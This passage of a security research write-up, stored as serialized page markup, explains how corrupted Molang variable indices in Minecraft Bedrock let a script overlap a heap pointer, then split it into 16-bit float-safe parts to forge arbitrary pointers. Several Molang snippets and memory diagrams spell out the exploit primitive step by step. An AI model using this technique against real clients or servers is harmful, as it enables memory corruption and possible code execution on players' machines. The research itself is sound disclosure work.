\"description\"",{"type":25,"tag":201,"props":154707,"children":154708},{"style":220},[154709],{"type":31,"value":38092},{"type":25,"tag":201,"props":154711,"children":154712},{"class":203,"line":330},[154713,154718,154722,154727],{"type":25,"tag":201,"props":154714,"children":154715},{"style":246},[154716],{"type":31,"value":154717},"      \"identifier\"",{"type":25,"tag":201,"props":154719,"children":154720},{"style":220},[154721],{"type":31,"value":2957},{"type":25,"tag":201,"props":154723,"children":154724},{"style":267},[154725],{"type":31,"value":154726},"\"minecraft:leash_knot\"",{"type":25,"tag":201,"props":154728,"children":154729},{"style":220},[154730],{"type":31,"value":547},{"type":25,"tag":201,"props":154732,"children":154733},{"class":203,"line":397},[154734],{"type":25,"tag":201,"props":154735,"children":154736},{"emptyLinePlaceholder":17},[154737],{"type":31,"value":496},{"type":25,"tag":201,"props":154739,"children":154740},{"class":203,"line":437},[154741],{"type":25,"tag":201,"props":154742,"children":154743},{"style":23902},[154744],{"type":31,"value":128525},{"type":25,"tag":201,"props":154746,"children":154747},{"class":203,"line":464},[154748],{"type":25,"tag":201,"props":154749,"children":154750},{"style":220},[154751],{"type":31,"value":153835},{"type":25,"tag":201,"props":154753,"children":154754},{"class":203,"line":490},[154755,154760],{"type":25,"tag":201,"props":154756,"children":154757},{"style":246},[154758],{"type":31,"value":154759},"      \"scripts\"",{"type":25,"tag":201,"props":154761,"children":154762},{"style":220},[154763],{"type":31,"value":38092},{"type":25,"tag":201,"props":154765,"children":154766},{"class":203,"line":499},[154767,154772],{"type":25,"tag":201,"props":154768,"children":154769},{"style":246},[154770],{"type":31,"value":154771},"        \"initialize\"",{"type":25,"tag":201,"props":154773,"children":154774},{"style":220},[154775],{"type":31,"value":154776},": [\n",{"type":25,"tag":201,"props":154778,"children":154779},{"class":203,"line":522},[154780,154785],{"type":25,"tag":201,"props":154781,"children":154782},{"style":267},[154783],{"type":31,"value":154784},"          \"variable.a = 0;\"",{"type":25,"tag":201,"props":154786,"children":154787},{"style":220},[154788],{"type":31,"value":547},{"type":25,"tag":201,"props":154790,"children":154791},{"class":203,"line":531},[154792,154797],{"type":25,"tag":201,"props":154793,"children":154794},{"style":267},[154795],{"type":31,"value":154796},"          \"variable.b = 0;\"",{"type":25,"tag":201,"props":154798,"children":154799},{"style":220},[154800],{"type":31,"value":547},{"type":25,"tag":201,"props":154802,"children":154803},{"class":203,"line":550},[154804,154809],{"type":25,"tag":201,"props":154805,"children":154806},{"style":267},[154807],{"type":31,"value":154808},"          \"variable.c = 0;\"",{"type":25,"tag":201,"props":154810,"children":154811},{"style":220},[154812],{"type":31,"value":547},{"type":25,"tag":201,"props":154814,"children":154815},{"class":203,"line":563},[154816,154821,154825],{"type":25,"tag":201,"props":154817,"children":154818},{"style":220},[154819],{"type":31,"value":154820},"          [",{"type":25,"tag":201,"props":154822,"children":154823},{"style":23902},[154824],{"type":31,"value":11095},{"type":25,"tag":201,"props":154826,"children":154827},{"style":220},[154828],{"type":31,"value":13274},{"type":25,"tag":201,"props":154830,"children":154831},{"class":203,"line":572},[154832],{"type":25,"tag":201,"props":154833,"children":154834},{"style":220},[154835],{"type":31,"value":44722},{"type":25,"tag":201,"props":154837,"children":154838},{"class":203,"line":590},[154839,154844],{"type":25,"tag":201,"props":154840,"children":154841},{"style":246},[154842],{"type":31,"value":154843},"        \"pre_animation\"",{"type":25,"tag":201,"props":154845,"children":154846},{"style":220},[154847],{"type":31,"value":154776},{"type":25,"tag":201,"props":154849,"children":154850},{"class":203,"line":608},[154851],{"type":25,"tag":201,"props":154852,"children":154853},{"style":267},[154854],{"type":31,"value":154855},"          \"variable.a = 2.310732e-27;\"\n",{"type":25,"tag":201,"props":154857,"children":154858},{"class":203,"line":617},[154859],{"type":25,"tag":201,"props":154860,"children":154861},{"style":220},[154862],{"type":31,"value":154863},"        ]\n",{"type":25,"tag":201,"props":154865,"children":154866},{"class":203,"line":625},[154867],{"type":25,"tag":201,"props":154868,"children":154869},{"style":220},[154870],{"type":31,"value":38269},{"type":25,"tag":201,"props":154872,"children":154873},{"class":203,"line":642},[154874],{"type":25,"tag":201,"props":154875,"children":154876},{"style":220},[154877],{"type":31,"value":4861},{"type":25,"tag":201,"props":154879,"children":154880},{"class":203,"line":659},[154881],{"type":25,"tag":201,"props":154882,"children":154883},{"style":220},[154884],{"type":31,"value":1178},{"type":25,"tag":201,"props":154886,"children":154887},{"class":203,"line":667},[154888],{"type":25,"tag":201,"props":154889,"children":154890},{"style":220},[154891],{"type":31,"value":1187},{"type":25,"tag":34,"props":154893,"children":154894},{},[154895,154897,154902,154904,154909,154911,154916],{"type":31,"value":154896},"As shown, the pointer of a variable at offset ",{"type":25,"tag":115,"props":154898,"children":154900},{"className":154899},[],[154901],{"type":31,"value":153946},{"type":31,"value":154903}," was modified and the core concept works. During ",{"type":25,"tag":115,"props":154905,"children":154907},{"className":154906},[],[154908],{"type":31,"value":153904},{"type":31,"value":154910}," copy, pointers of some other variables above offset ",{"type":25,"tag":115,"props":154912,"children":154914},{"className":154913},[],[154915],{"type":31,"value":153946},{"type":31,"value":154917}," were removed, but this is fine as we control these variables and can simply not update them during execution. However, we discovered other issues with this approach.",{"type":25,"tag":34,"props":154919,"children":154920},{},[154921],{"type":31,"value":154922},"As mentioned earlier, the only number type in Molang is a 32-bit float, which causes two major problems:",{"type":25,"tag":18183,"props":154924,"children":154925},{},[154926,154939],{"type":25,"tag":6948,"props":154927,"children":154928},{},[154929,154931,154937],{"type":31,"value":154930},"The pointer increment is inconsistent because of ASLR. If the lower 32 bits of the address are larger than ",{"type":25,"tag":115,"props":154932,"children":154934},{"className":154933},[],[154935],{"type":31,"value":154936},"FLT_MAX",{"type":31,"value":154938},", the value becomes an invalid float causing the increment operation to fail.",{"type":25,"tag":6948,"props":154940,"children":154941},{},[154942,154944,154949,154951,154956,154957,154962,154964,154969],{"type":31,"value":154943},"As noted before, during assignment, ",{"type":25,"tag":115,"props":154945,"children":154947},{"className":154946},[],[154948],{"type":31,"value":153904},{"type":31,"value":154950}," fields are copied, and the ",{"type":25,"tag":115,"props":154952,"children":154954},{"className":154953},[],[154955],{"type":31,"value":40222},{"type":31,"value":153994},{"type":25,"tag":115,"props":154958,"children":154960},{"className":154959},[],[154961],{"type":31,"value":56713},{"type":31,"value":154963},". Since our source ",{"type":25,"tag":115,"props":154965,"children":154967},{"className":154966},[],[154968],{"type":31,"value":153904},{"type":31,"value":154970}," (calculation rvalue) only has the lower 32 bits populated (due to the 32-bit float type), the upper 32 bits of the destination address are always erased.",{"type":25,"tag":34,"props":154972,"children":154973},{},[154974],{"type":31,"value":154975},"Because of these issues, this idea alone wouldn’t work. We needed to either adjust our approach or come up with an entirely new one.",{"type":25,"tag":20392,"props":154977,"children":154979},{"id":154978},"expanding-the-idea",[154980],{"type":31,"value":154981},"Expanding the Idea",{"type":25,"tag":34,"props":154983,"children":154984},{},[154985,154987,154992,154994,154999,155000,155005,155007,155012],{"type":31,"value":154986},"As mentioned earlier, the ",{"type":25,"tag":115,"props":154988,"children":154990},{"className":154989},[],[154991],{"type":31,"value":1684},{"type":31,"value":154993}," field of ",{"type":25,"tag":115,"props":154995,"children":154997},{"className":154996},[],[154998],{"type":31,"value":153904},{"type":31,"value":16940},{"type":25,"tag":115,"props":155001,"children":155003},{"className":155002},[],[155004],{"type":31,"value":59012},{"type":31,"value":155006},". During assignment, the upper 32 bits are not touched and therefore remain uninitialized. This can be observed in the debugger screenshot above - the 32 bits directly below the ",{"type":25,"tag":115,"props":155008,"children":155010},{"className":155009},[],[155011],{"type":31,"value":40222},{"type":31,"value":155013}," field remain unchanged before and after Molang execution.",{"type":25,"tag":34,"props":155015,"children":155016},{},[155017,155019,155024],{"type":31,"value":155018},"Because of this, we thought that we could corrupt two variables instead of just one. The plan was to modify the lower 32 bits of a variable pointer using one corrupted variable, and then restore the upper 32 bits with another corrupted variable pointing to the ",{"type":25,"tag":115,"props":155020,"children":155022},{"className":155021},[],[155023],{"type":31,"value":154012},{"type":31,"value":155025},"’s allocated buffer + 4.",{"type":25,"tag":34,"props":155027,"children":155028},{},[155029,155031,155036,155038,155043,155045,155050,155051,155057],{"type":31,"value":155030},"In the example below, ",{"type":25,"tag":115,"props":155032,"children":155034},{"className":155033},[],[155035],{"type":31,"value":154438},{"type":31,"value":155037}," points to ",{"type":25,"tag":115,"props":155039,"children":155041},{"className":155040},[],[155042],{"type":31,"value":154012},{"type":31,"value":155044},", while ",{"type":25,"tag":115,"props":155046,"children":155048},{"className":155047},[],[155049],{"type":31,"value":154452},{"type":31,"value":155037},{"type":25,"tag":115,"props":155052,"children":155054},{"className":155053},[],[155055],{"type":31,"value":155056},"MolangVariableMap + 4",{"type":31,"value":5997},{"type":25,"tag":191,"props":155059,"children":155061},{"code":155060},"                         variable.f pointer     \n                                 |              \n                   +-------------+-------------+\n                   v                           v\n                                                \n                   +-------------+-------------+\n                   | a0 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                     \n+-------------+                                 \n|    . . .    |                                 \n",[155062],{"type":25,"tag":115,"props":155063,"children":155064},{"__ignoreMap":7},[155065],{"type":31,"value":155060},{"type":25,"tag":34,"props":155067,"children":155068},{},[155069,155071,155076,155077,155082,155084,155089,155091,155096,155098,155103],{"type":31,"value":155070},"Here, the ",{"type":25,"tag":115,"props":155072,"children":155074},{"className":155073},[],[155075],{"type":31,"value":40222},{"type":31,"value":154993},{"type":25,"tag":115,"props":155078,"children":155080},{"className":155079},[],[155081],{"type":31,"value":154438},{"type":31,"value":155083}," starts at the lower 32 bits of the ",{"type":25,"tag":115,"props":155085,"children":155087},{"className":155086},[],[155088],{"type":31,"value":154508},{"type":31,"value":155090}," pointer, while ",{"type":25,"tag":115,"props":155092,"children":155094},{"className":155093},[],[155095],{"type":31,"value":154452},{"type":31,"value":155097}," starts at the upper 32 bits. This means we can store the upper 32 bits of the ",{"type":25,"tag":115,"props":155099,"children":155101},{"className":155100},[],[155102],{"type":31,"value":154508},{"type":31,"value":155104}," pointer in a separate variable:",{"type":25,"tag":191,"props":155106,"children":155108},{"code":155107},"variable.saved_upper_32 = variable.b;\n",[155109],{"type":25,"tag":115,"props":155110,"children":155111},{"__ignoreMap":7},[155112],{"type":31,"value":155107},{"type":25,"tag":34,"props":155114,"children":155115},{},[155116],{"type":31,"value":155117},"Then we can modify the lower 32 bits of the pointer:",{"type":25,"tag":191,"props":155119,"children":155121},{"code":155120},"variable.a = variable.a + itof(0x8);\n",[155122],{"type":25,"tag":115,"props":155123,"children":155124},{"__ignoreMap":7},[155125],{"type":31,"value":155120},{"type":25,"tag":34,"props":155127,"children":155128},{},[155129],{"type":31,"value":155130},"After this operation, the upper 32 bits are cleared while the lower bits are adjusted:",{"type":25,"tag":191,"props":155132,"children":155134},{"code":155133},"                   +-------------+-------------+\n                   | a8 bb cc dd | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                     \n+-------------+                                 \n|    . . .    |                                 \n",[155135],{"type":25,"tag":115,"props":155136,"children":155137},{"__ignoreMap":7},[155138],{"type":31,"value":155133},{"type":25,"tag":34,"props":155140,"children":155141},{},[155142,155144,155149],{"type":31,"value":155143},"Since the 32 bits directly below the ",{"type":25,"tag":115,"props":155145,"children":155147},{"className":155146},[],[155148],{"type":31,"value":40222},{"type":31,"value":155150}," field remain untouched during assignment, we can simply restore the upper bits:",{"type":25,"tag":191,"props":155152,"children":155154},{"code":155153},"variable.b = variable.saved_upper_32;\n",[155155],{"type":25,"tag":115,"props":155156,"children":155157},{"__ignoreMap":7},[155158],{"type":31,"value":155153},{"type":25,"tag":34,"props":155160,"children":155161},{},[155162,155164,155169],{"type":31,"value":155163},"Now ",{"type":25,"tag":115,"props":155165,"children":155167},{"className":155166},[],[155168],{"type":31,"value":154508},{"type":31,"value":155170}," pointer is restored and we've incremented it by 8, achieving the desired state:",{"type":25,"tag":191,"props":155172,"children":155174},{"code":155173},"                   +-------------+-------------+\n                   | a8 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                    \n+-------------+                                 \n|    . . .    |                                 \n",[155175],{"type":25,"tag":115,"props":155176,"children":155177},{"__ignoreMap":7},[155178],{"type":31,"value":155173},{"type":25,"tag":34,"props":155180,"children":155181},{},[155182,155184,155189],{"type":31,"value":155183},"This bypasses the issue of the upper 32 bits being cleared, but raises another question: how do we find a pointer to ",{"type":25,"tag":115,"props":155185,"children":155187},{"className":155186},[],[155188],{"type":31,"value":155056},{"type":31,"value":155190}," on the heap?",{"type":25,"tag":34,"props":155192,"children":155193},{},[155194,155196,155201,155203,155209],{"type":31,"value":155195},"Additionally, adding 8 to ",{"type":25,"tag":115,"props":155197,"children":155199},{"className":155198},[],[155200],{"type":31,"value":154438},{"type":31,"value":155202}," in the example above wouldn’t work because ",{"type":25,"tag":115,"props":155204,"children":155206},{"className":155205},[],[155207],{"type":31,"value":155208},"0xddccbba0",{"type":31,"value":155210}," is not a valid float. So the first issue still remains unresolved.",{"type":25,"tag":20392,"props":155212,"children":155214},{"id":155213},"the-final-approach",[155215],{"type":31,"value":155216},"The Final Approach",{"type":25,"tag":34,"props":155218,"children":155219},{},[155220,155222,155227,155229,155235],{"type":31,"value":155221},"We realized that instead of having the second pointer at ",{"type":25,"tag":115,"props":155223,"children":155225},{"className":155224},[],[155226],{"type":31,"value":155056},{"type":31,"value":155228},", we could instead have it at ",{"type":25,"tag":115,"props":155230,"children":155232},{"className":155231},[],[155233],{"type":31,"value":155234},"MolangVariableMap + 2",{"type":31,"value":155236},", which would resolve both of our issues.",{"type":25,"tag":34,"props":155238,"children":155239},{},[155240,155242,155247,155248,155253],{"type":31,"value":155241},"Let’s revisit the previous example, but this time ",{"type":25,"tag":115,"props":155243,"children":155245},{"className":155244},[],[155246],{"type":31,"value":154452},{"type":31,"value":155037},{"type":25,"tag":115,"props":155249,"children":155251},{"className":155250},[],[155252],{"type":31,"value":155234},{"type":31,"value":5997},{"type":25,"tag":191,"props":155255,"children":155257},{"code":155256},"                   +-------------+-------------+\n                   | a0 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                             \n+-------------+                                 \n|    . . .    |                                 \n",[155258],{"type":25,"tag":115,"props":155259,"children":155260},{"__ignoreMap":7},[155261],{"type":31,"value":155256},{"type":25,"tag":34,"props":155263,"children":155264},{},[155265,155267,155272],{"type":31,"value":155266},"With this setup, we can calculate any address relative to ",{"type":25,"tag":115,"props":155268,"children":155270},{"className":155269},[],[155271],{"type":31,"value":154508},{"type":31,"value":155273}," by first saving the upper 48 bits of the address:",{"type":25,"tag":191,"props":155275,"children":155277},{"code":155276},"variable.saved_upper_48 = variable.b;\n",[155278],{"type":25,"tag":115,"props":155279,"children":155280},{"__ignoreMap":7},[155281],{"type":31,"value":155276},{"type":25,"tag":34,"props":155283,"children":155284},{},[155285,155286,155292,155294,155300],{"type":31,"value":130914},{"type":25,"tag":115,"props":155287,"children":155289},{"className":155288},[],[155290],{"type":31,"value":155291},"variable.saved_upper_48",{"type":31,"value":155293}," holds the value ",{"type":25,"tag":115,"props":155295,"children":155297},{"className":155296},[],[155298],{"type":31,"value":155299},"0x1c80ddcc",{"type":31,"value":80},{"type":25,"tag":34,"props":155302,"children":155303},{},[155304],{"type":31,"value":155305},"To fix our earlier problem of being unable to increment invalid float values, we can simply clear the upper 48 bits:",{"type":25,"tag":191,"props":155307,"children":155309},{"code":155308},"variable.b = 0;\n",[155310],{"type":25,"tag":115,"props":155311,"children":155312},{"__ignoreMap":7},[155313],{"type":31,"value":155308},{"type":25,"tag":34,"props":155315,"children":155316},{},[155317],{"type":31,"value":155318},"Resulting in the following state:",{"type":25,"tag":191,"props":155320,"children":155322},{"code":155321},"                   +-------------+-------------+\n                   | a0 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                            \n+-------------+                                 \n|    . . .    |                                 \n",[155323],{"type":25,"tag":115,"props":155324,"children":155325},{"__ignoreMap":7},[155326],{"type":31,"value":155321},{"type":25,"tag":34,"props":155328,"children":155329},{},[155330,155332,155337,155339,155345,155347,155352],{"type":31,"value":155331},"Now, the value of ",{"type":25,"tag":115,"props":155333,"children":155335},{"className":155334},[],[155336],{"type":31,"value":154438},{"type":31,"value":155338}," only spans 16 bits (",{"type":25,"tag":115,"props":155340,"children":155342},{"className":155341},[],[155343],{"type":31,"value":155344},"0xbba0",{"type":31,"value":155346}," specifically), which is always a valid float since it’s far below ",{"type":25,"tag":115,"props":155348,"children":155350},{"className":155349},[],[155351],{"type":31,"value":154936},{"type":31,"value":80},{"type":25,"tag":34,"props":155354,"children":155355},{},[155356,155358,155363],{"type":31,"value":155357},"We can now safely adjust the lower 16 bits of the pointer by incrementing ",{"type":25,"tag":115,"props":155359,"children":155361},{"className":155360},[],[155362],{"type":31,"value":154438},{"type":31,"value":5997},{"type":25,"tag":191,"props":155365,"children":155366},{"code":155120},[155367],{"type":25,"tag":115,"props":155368,"children":155369},{"__ignoreMap":7},[155370],{"type":31,"value":155120},{"type":25,"tag":34,"props":155372,"children":155373},{},[155374],{"type":31,"value":155375},"Which results in:",{"type":25,"tag":191,"props":155377,"children":155379},{"code":155378},"                   +-------------+-------------+\n                   | a8 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                            \n+-------------+                                 \n|    . . .    |                                 \n",[155380],{"type":25,"tag":115,"props":155381,"children":155382},{"__ignoreMap":7},[155383],{"type":31,"value":155378},{"type":25,"tag":34,"props":155385,"children":155386},{},[155387],{"type":31,"value":155388},"If we only wanted to increment the pointer by 8, we could finish by restoring the upper 48 bits:",{"type":25,"tag":191,"props":155390,"children":155392},{"code":155391},"variable.b = variable.saved_upper_48;\n",[155393],{"type":25,"tag":115,"props":155394,"children":155395},{"__ignoreMap":7},[155396],{"type":31,"value":155391},{"type":25,"tag":34,"props":155398,"children":155399},{},[155400],{"type":31,"value":155401},"Yielding a valid pointer again:",{"type":25,"tag":191,"props":155403,"children":155405},{"code":155404},"                   +-------------+-------------+\n                   | a8 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                             \n+-------------+                                 \n|    . . .    |                                 \n",[155406],{"type":25,"tag":115,"props":155407,"children":155408},{"__ignoreMap":7},[155409],{"type":31,"value":155404},{"type":25,"tag":34,"props":155411,"children":155412},{},[155413],{"type":31,"value":155414},"However, if we wanted to increment the pointer by a value larger than 16 bits can represent, we would continue by first saving the adjusted lower 16 bits:",{"type":25,"tag":191,"props":155416,"children":155418},{"code":155417},"variable.saved_adjusted_lower_16 = variable.a;\n",[155419],{"type":25,"tag":115,"props":155420,"children":155421},{"__ignoreMap":7},[155422],{"type":31,"value":155417},{"type":25,"tag":34,"props":155424,"children":155425},{},[155426],{"type":31,"value":155427},"Next, we need to extract the middle and upper 16 bits of the address. We start by restoring the previously saved upper 48 bits:",{"type":25,"tag":191,"props":155429,"children":155431},{"code":155430},"variable.a = variable.saved_upper_48;\n",[155432],{"type":25,"tag":115,"props":155433,"children":155434},{"__ignoreMap":7},[155435],{"type":31,"value":155430},{"type":25,"tag":34,"props":155437,"children":155438},{},[155439],{"type":31,"value":155440},"This produces the following state:",{"type":25,"tag":191,"props":155442,"children":155444},{"code":155443},"                   +-------------+-------------+\n                   | cc dd 80 1c | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    |                                 \n",[155445],{"type":25,"tag":115,"props":155446,"children":155447},{"__ignoreMap":7},[155448],{"type":31,"value":155443},{"type":25,"tag":34,"props":155450,"children":155451},{},[155452,155454,155459,155461,155467,155469,155475,155477,155482,155484,155489],{"type":31,"value":155453},"As shown, ",{"type":25,"tag":115,"props":155455,"children":155457},{"className":155456},[],[155458],{"type":31,"value":154452},{"type":31,"value":155460}," now contains the upper 16 bits of the address (",{"type":25,"tag":115,"props":155462,"children":155464},{"className":155463},[],[155465],{"type":31,"value":155466},"0x1c80",{"type":31,"value":155468},"), which we can store as ",{"type":25,"tag":115,"props":155470,"children":155472},{"className":155471},[],[155473],{"type":31,"value":155474},"variable.saved_upper_16 = variable.b",{"type":31,"value":155476},". Meanwhile, ",{"type":25,"tag":115,"props":155478,"children":155480},{"className":155479},[],[155481],{"type":31,"value":154438},{"type":31,"value":155483}," contains both the middle and upper 16 bits. To isolate the middle bits, we simply clear ",{"type":25,"tag":115,"props":155485,"children":155487},{"className":155486},[],[155488],{"type":31,"value":154452},{"type":31,"value":5997},{"type":25,"tag":191,"props":155491,"children":155492},{"code":155308},[155493],{"type":25,"tag":115,"props":155494,"children":155495},{"__ignoreMap":7},[155496],{"type":31,"value":155308},{"type":25,"tag":34,"props":155498,"children":155499},{},[155500],{"type":31,"value":155501},"Leaving us with:",{"type":25,"tag":191,"props":155503,"children":155505},{"code":155504},"                   +-------------+-------------+\n                   | cc dd 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    |                                 \n",[155506],{"type":25,"tag":115,"props":155507,"children":155508},{"__ignoreMap":7},[155509],{"type":31,"value":155504},{"type":25,"tag":34,"props":155511,"children":155512},{},[155513],{"type":31,"value":155514},"We can now save the middle 16 bits:",{"type":25,"tag":191,"props":155516,"children":155518},{"code":155517},"variable.saved_middle_16 = variable.a;\n",[155519],{"type":25,"tag":115,"props":155520,"children":155521},{"__ignoreMap":7},[155522],{"type":31,"value":155517},{"type":25,"tag":34,"props":155524,"children":155525},{},[155526],{"type":31,"value":155527},"At this point, we have:",{"type":25,"tag":191,"props":155529,"children":155531},{"code":155530},"variable.saved_adjusted_lower_16 = 0xbba8\nvariable.saved_middle_16 = 0xddcc\nvariable.saved_upper_16 = 0x1c80\n",[155532],{"type":25,"tag":115,"props":155533,"children":155534},{"__ignoreMap":7},[155535],{"type":31,"value":155530},{"type":25,"tag":34,"props":155537,"children":155538},{},[155539],{"type":31,"value":155540},"All three parts are valid float values, ensuring deterministic calculations.",{"type":25,"tag":34,"props":155542,"children":155543},{},[155544],{"type":31,"value":155545},"If we needed to increment the pointer by more than the maximum 16-bit value, we would simply increment the middle and upper parts accordingly:",{"type":25,"tag":191,"props":155547,"children":155549},{"code":155548},"variable.saved_adjusted_middle_16 = variable.saved_middle_16 + itof(0x1);\nvariable.saved_adjusted_upper_16 = variable.saved_upper_16 + itof(0x1);\n",[155550],{"type":25,"tag":115,"props":155551,"children":155552},{"__ignoreMap":7},[155553],{"type":31,"value":155548},{"type":25,"tag":34,"props":155555,"children":155556},{},[155557],{"type":31,"value":155558},"After modifying the three 16-bit parts, we can reconstruct the full pointer by reversing the extraction process. We start by forging the upper 48 bits:",{"type":25,"tag":191,"props":155560,"children":155562},{"code":155561},"variable.a = variable.saved_adjusted_middle_16;\n",[155563],{"type":25,"tag":115,"props":155564,"children":155565},{"__ignoreMap":7},[155566],{"type":31,"value":155561},{"type":25,"tag":34,"props":155568,"children":155569},{},[155570,155572,155577,155578,155584,155585,155591],{"type":31,"value":155571},"Setting ",{"type":25,"tag":115,"props":155573,"children":155575},{"className":155574},[],[155576],{"type":31,"value":154438},{"type":31,"value":57855},{"type":25,"tag":115,"props":155579,"children":155581},{"className":155580},[],[155582],{"type":31,"value":155583},"0xddcd",{"type":31,"value":238},{"type":25,"tag":115,"props":155586,"children":155588},{"className":155587},[],[155589],{"type":31,"value":155590},"0xddcc + 1",{"type":31,"value":155592},"), and then:",{"type":25,"tag":191,"props":155594,"children":155596},{"code":155595},"variable.b = variable.saved_adjusted_upper_16;\n",[155597],{"type":25,"tag":115,"props":155598,"children":155599},{"__ignoreMap":7},[155600],{"type":31,"value":155595},{"type":25,"tag":34,"props":155602,"children":155603},{},[155604,155606,155611,155613,155619,155620,155626],{"type":31,"value":155605},"Resulting in ",{"type":25,"tag":115,"props":155607,"children":155609},{"className":155608},[],[155610],{"type":31,"value":154452},{"type":31,"value":155612}," value becoming ",{"type":25,"tag":115,"props":155614,"children":155616},{"className":155615},[],[155617],{"type":31,"value":155618},"0x1c81",{"type":31,"value":238},{"type":25,"tag":115,"props":155621,"children":155623},{"className":155622},[],[155624],{"type":31,"value":155625},"0x1c80 + 1",{"type":31,"value":25431},{"type":25,"tag":191,"props":155628,"children":155630},{"code":155629},"                   +-------------+-------------+\n                   | cd dd 81 1c | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[155631],{"type":25,"tag":115,"props":155632,"children":155633},{"__ignoreMap":7},[155634],{"type":31,"value":155629},{"type":25,"tag":34,"props":155636,"children":155637},{},[155638],{"type":31,"value":155639},"Now we save the adjusted upper 48 bits:",{"type":25,"tag":191,"props":155641,"children":155643},{"code":155642},"variable.saved_adjusted_upper_48 = variable.a;\n",[155644],{"type":25,"tag":115,"props":155645,"children":155646},{"__ignoreMap":7},[155647],{"type":31,"value":155642},{"type":25,"tag":34,"props":155649,"children":155650},{},[155651],{"type":31,"value":155652},"Finally, we attach the lower 16 bits:",{"type":25,"tag":191,"props":155654,"children":155656},{"code":155655},"variable.a = variable.saved_adjusted_lower_16;\n",[155657],{"type":25,"tag":115,"props":155658,"children":155659},{"__ignoreMap":7},[155660],{"type":31,"value":155655},{"type":25,"tag":191,"props":155662,"children":155664},{"code":155663},"                   +-------------+-------------+\n                   | a8 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[155665],{"type":25,"tag":115,"props":155666,"children":155667},{"__ignoreMap":7},[155668],{"type":31,"value":155663},{"type":25,"tag":34,"props":155670,"children":155671},{},[155672],{"type":31,"value":155673},"And by setting:",{"type":25,"tag":191,"props":155675,"children":155677},{"code":155676},"variable.b = variable.saved_adjusted_upper_48;\n",[155678],{"type":25,"tag":115,"props":155679,"children":155680},{"__ignoreMap":7},[155681],{"type":31,"value":155676},{"type":25,"tag":34,"props":155683,"children":155684},{},[155685],{"type":31,"value":155686},"We forge the final adjusted pointer:",{"type":25,"tag":191,"props":155688,"children":155690},{"code":155689},"                   +-------------+-------------+\n                   | a8 bb cd dd | 81 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[155691],{"type":25,"tag":115,"props":155692,"children":155693},{"__ignoreMap":7},[155694],{"type":31,"value":155689},{"type":25,"tag":20292,"props":155696,"children":155697},{},[],{"type":25,"tag":34,"props":155699,"children":155700},{},[155701,155703,155708],{"type":31,"value":155702},"With this, we now have a method to calculate any pointer we want. However, the previous question still remains: how do we find a pointer to ",{"type":25,"tag":115,"props":155704,"children":155706},{"className":155705},[],[155707],{"type":31,"value":155234},{"type":31,"value":155190},{"type":25,"tag":34,"props":155710,"children":155711},{},[155712,155714,155719,155721,155726,155728,155734,155736,155741],{"type":31,"value":155713},"Eventually, we realized that we don’t necessarily need a pointer to ",{"type":25,"tag":115,"props":155715,"children":155717},{"className":155716},[],[155718],{"type":31,"value":155234},{"type":31,"value":155720},". Instead, we need any two pointers on the heap - one pointing to ",{"type":25,"tag":115,"props":155722,"children":155724},{"className":155723},[],[155725],{"type":31,"value":32171},{"type":31,"value":155727}," and the other to ",{"type":25,"tag":115,"props":155729,"children":155731},{"className":155730},[],[155732],{"type":31,"value":155733},"addr + 2",{"type":31,"value":155735}," (as long as ",{"type":25,"tag":115,"props":155737,"children":155739},{"className":155738},[],[155740],{"type":31,"value":32171},{"type":31,"value":155742}," lies within a writable region). The idea is to use these two pointers as a workspace where we can split, manipulate, and reconstruct a pointer.",{"type":25,"tag":34,"props":155744,"children":155745},{},[155746,155748,155753,155754,155759],{"type":31,"value":155747},"In this case, we need to corrupt an index of an additional (third) variable and make it index the ",{"type":25,"tag":115,"props":155749,"children":155751},{"className":155750},[],[155752],{"type":31,"value":151208},{"type":31,"value":154993},{"type":25,"tag":115,"props":155755,"children":155757},{"className":155756},[],[155758],{"type":31,"value":154012},{"type":31,"value":155760}," - once the new pointer is forged we can use this variable to assign it the forged pointer:",{"type":25,"tag":191,"props":155762,"children":155764},{"code":155763},"variable.corrupted_var_map_ptr = variable.a;\n",[155765],{"type":25,"tag":115,"props":155766,"children":155767},{"__ignoreMap":7},[155768],{"type":31,"value":155763},{"type":25,"tag":34,"props":155770,"children":155771},{},[155772,155774,155779,155781,155787],{"type":31,"value":155773},"As mentioned earlier, this operation copies the entire 64-bit 